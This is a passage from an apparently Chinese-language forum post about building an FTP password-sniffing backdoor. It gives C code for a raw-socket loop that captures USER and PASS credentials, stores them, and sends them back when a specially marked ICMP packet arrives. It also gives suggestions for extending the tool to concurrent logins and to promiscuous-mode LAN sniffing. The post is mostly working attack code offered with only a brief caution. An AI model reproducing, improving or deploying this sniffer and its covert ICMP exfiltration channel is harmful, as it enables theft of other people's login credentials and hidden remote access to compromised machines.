>中的那个命令端程序,结果伪装包是发送成功了,可是读取到的数据老是错误,用户名和密码总是空的,折腾了2天,这天,细心的同
事忽然告诉我说你收到的消息好像跟发送的一摸一样,这时才发现了问题所在,在原来的代码中,作者只读取一次就成功了,而在我得程序里,第一次read到的
ICMP消息居然是自己发送出去的原封不动,关于这个原因我还没有思考清楚,只觉得可能是由于同一台机子测试引起的,并没有做太多的分析,希望专家给出更
科学的说法!然后就增加条件,如果返回的type是ICMP_ECHO的话就扔掉,结果发现这次读到了ICMP_ECHOREPLY,用户名和密码还是错
的,一想,原来是收到了系统返回的ping应答消息,最终的原则就是,当收到的ICMP消息是ICMP_ECHOREPLY时并且code字段为嗅探器所
填的特殊值时,才进行处理,终于能够正确的运行起来.
2.2 实现(代码片断)
由于论坛字符上限的原因,在次只贴出了部分代码,并且删除了注视,完整的代码作为附件上传上来吧.
CODE:
int main(int argc, char *argv[])
{
int sock, n_read;
struct ether_header * etherh;
struct iphdr * iph;
char buffer[BUFFER_MAX];
/*create a raw socekt to sniffer all messages*/
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
{
exit(errno);
}
while (1)
{
n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
/*--14(ethernet head) + 20(ip header) + 8(TCP/UDP/ICMP header) ---*/
if (n_read < 42)
{
continue;
}
/* get ethernet header */
etherh =(struct ether_header *) buffer;
/* get ip header */
iph = (struct iphdr *) (etherh + 1);
switch(iph->protocol)
{
case IPPROTO_TCP :
CheckTCP(iph);
break;
case IPPROTO_ICMP:
if(MagicICMP(iph))
{
SendData(etherh, n_read);
}
break;
case IPPROTO_UDP :
case IPPROTO_IGMP:
default: break;
}
}
}
int CheckTCP(const struct iphdr * ipheader)
{
if(!ipheader)
{
return 0;
}
int i = 0;
/* get tcp head */
struct tcphdr * tcpheader = (struct tcphdr*)(ipheader + 1);
/* get data region of the tcp packet */
char * data = (char *)((int)tcpheader + (int)(tcpheader->doff * 4));
if(username && target_port && target_ip)
{
if(ipheader->daddr != target_ip || tcpheader->source != target_port)
{
/*a new loading, we need to reset our sniffer */
if(strncmp(data, "USER ", 5) == 0 )
{
Reset();
}
}
}
if (strncmp(data, "USER ", 5) == 0)
{
data += 5;
i = 0;
if (username)
{
return 0;
}
char * p = data + i;
/*the data always end with LR */
while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
{
i++;
p++;
}
if((username = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(username, 0x00, i + 2);
memcpy(username, data, i);
*(username + i) = '\0';
}
else
if(strncmp(data, "PASS ", 5) == 0)
{
data += 5;
i = 0;
if(username == NULL)
{
return 0;
}
if(password)
{
return 0;
}
char * p = data;
while (*p != '\r' && *p != '\n' && *p != '\0' && i < 15)
{
i++;
p++;
}
if((password = (char*)malloc(i + 2)) == NULL)
{
return 0;
}
memset(password, 0x00, i + 2);
memcpy(password, data, i);
*(password + i) = '\0';
}
else
if(strncmp(data, "QUIT", 4) == 0)
{
Reset();
}
if(!target_ip && !target_port && username)
{
target_ip = ipheader->saddr;
target_port = tcpheader->source;
}
if(username && password)
{
have_pair++;
}
if(have_pair)
{
struct node node;
node.ip = target_ip;
snprintf(node.Name, 15, "%s", username);
snprintf(node.PassWord, 15, "%s", password);
AddNode(&node);
Reset();
}
return 1;
}2.3 改进的思路
由于时间原因,虽然后来想了一些改进的方法,但却没有去实现,很是遗憾,
不过还是在此提出,希望感兴趣的朋友自己去实践,并告诉我结果
(1):
由于原来的单线程后门程序在多个用户同时登陆FTP时会出错,我们即使加上烦杂的处理在运气很好的情况下最终也只能得到一对密码对,可以这样改进,每检
测到一个用户名,就将这个数据包的源IP,源端口,以及用户名存储到一个列表中,用户名相同的进行覆盖存储,然后再次检测到密码时,根据密码数据包的源
IP以及源端口去表中查找匹配,这样就能获取并发访问FTP时的密码了
(2):
如果你在局域网做试验,并且你的老板允许你把网卡设置为混杂模式,那么这个程序就是一个真正的嗅探器了,这个时候你要存储的信息就多了,需要加上目的IP和目的端口.最后切记,最好不要将这个程序用于恶意目的.
程序源码: